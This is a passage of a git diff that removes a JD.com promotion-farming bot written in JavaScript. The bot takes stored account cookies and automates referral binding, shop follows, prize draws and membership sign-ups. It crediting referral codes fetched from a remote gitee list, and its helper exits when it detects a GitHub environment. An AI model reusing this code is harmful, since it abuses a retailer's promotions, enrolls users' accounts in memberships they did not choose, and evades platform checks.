-} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_jinggengjcq_dapainew3.js b/backUp/jd_jinggengjcq_dapainew3.js deleted file mode 100644 index f4f2782..0000000 --- a/backUp/jd_jinggengjcq_dapainew3.js +++ /dev/null @@ -1,535 +0,0 @@ - -const $ = new Env("大牌联合"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -const cp = $.isNode() ? require('child_process') : ''; -let cookiesArr = [], cookie = '', message = ''; -const Base64 = require("js-base64") -let ownCode = null; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/jinggengjcq_dapainew.json') - if(authorCodeList === '404: Not Found'){ - authorCodeList = [ - 'fuMB6t0LHdtq7Dc8pm+TwF4tLNYA4seuA67MOIYQxEk3Vl9+AVo4NF+tgyeIc6A6kdK3rLBQpEQH9V4tdrrh0w==', - ] - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - $.appkey = "51B59BB805903DA4CE513D29EC448375" - $.userId = "10299171" - $.actId = "2c5156ff82714_11013" - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - console.log('去助力 -> '+$.authorCode); - await openCardNew(); - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function openCardNew() { - $.token = null; - $.buyerNick = null; - $.activityInfo = null; - await getToken(); - if ($.token) { - await task('activity_load', { - "actId": $.actId, - "inviteNick": $.authorCode, - "jdToken": $.token, - "source": "01", - }) - if ($.buyerNick) { - console.log('1.助力码 -> '+$.buyerNick) - if ($.index === 1) { - ownCode = $.buyerNick - console.log("后面的将给这个助力码助力 -> "+ownCode) - } - console.log('2.绑定助力 ->') - await task('complete/mission', { - "actId": $.actId, - "missionType": "relationBind", - "inviterNick": $.authorCode, - }) - await task('shopList', { - "actId": $.actId, - }) - console.log('3.关注店铺 ->') - await task('complete/mission', { - "actId": $.actId, - "missionType": "uniteCollectShop", - }) - console.log('4.抽奖 ->') - await task('draw/post', { - "actId": $.actId, - "usedGameNum": "2", - "dataType": "draw", - }) - console.log('5.加入会员 ->') - if ($.shopList) { - console.log('会员卡数量 -> '+$.shopList.length) - for (const vo of $.shopList) { - $.log(`${vo.userId}`) - if (!vo.open) { - $.log("开通会员") - await getShopOpenCardInfo(vo.userId) - await bindWithVender(vo.userId) - await task('complete/mission', { - "actId": $.actId, - "shopId": vo.userId, - "missionType": "openCard", - }) - await $.wait(3000) - } else { - $.log("已经是会员了") - } - await $.wait(500) - } - } - console.log('6.加入购物车 ->') - await task('complete/mission', { - "actId": $.actId, - "missionType": "uniteAddCart", - }) - } else { - $.log("没有成功获取到用户信息") - } - } else { - $.log("没有成功获取到用户鉴权信息") - } -} - -function task(function_id, preParams) { - body = { - "jsonRpc": "2.0", - "params": { - "commonParameter": { - "appkey": $.appkey, - "m": "POST", - "timestamp": new Date(), - "userId": $.userId - }, - "admJson": { - "method": `/openCardNew/${function_id}`, - "userId": $.userId, - "buyerNick": $.buyerNick ? $.buyerNick : "" - } - } - } - Object.assign(body.params.admJson, preParams) - return new Promise(resolve => { - $.post(taskUrl(function_id, body), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.success) { - if (data.data.status === 200) { - switch (function_id) { - case 'activity_load': - $.buyerNick = data.data.data.buyerNick; - console.log("[ "+data.data.data.cusActivity.actName+" ]"); - break; - case 'shopList': - $.shopList = data.data.data.cusShops; - break; - case 'complete/mission': - console.log(data.data.data.remark); - break; - case 'draw/post': - console.log(data.data.data.awardSetting.awardName); - break; - default: - break; - } - } - } - - } else { - $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify({ venderId: venderId, channel: 401 }))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent('https://jinggengjcq-isv.isvjcloud.com/fronth5')}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify({ "venderId": venderId, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "channel": 401 }))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent('https://jinggengjcq-isv.isvjcloud.com/fronth5')}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - console.log("开卡成功") - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body) { - return { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/openCardNew/${function_id}?&mix_nick=${$.buyerNick ? $.buyerNick : ""}`, - headers: { - Host: 'jinggengjcq-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/json; charset=utf-8', - Origin: 'https://jinggengjcq-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: 'https://jinggengjcq-isv.isvjcloud.com/fronth5/', - Cookie: cookie - }, - body: JSON.stringify(body) - - } -} - -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getAuthorCodeList(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - data = null; - } finally { - resolve(data); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) 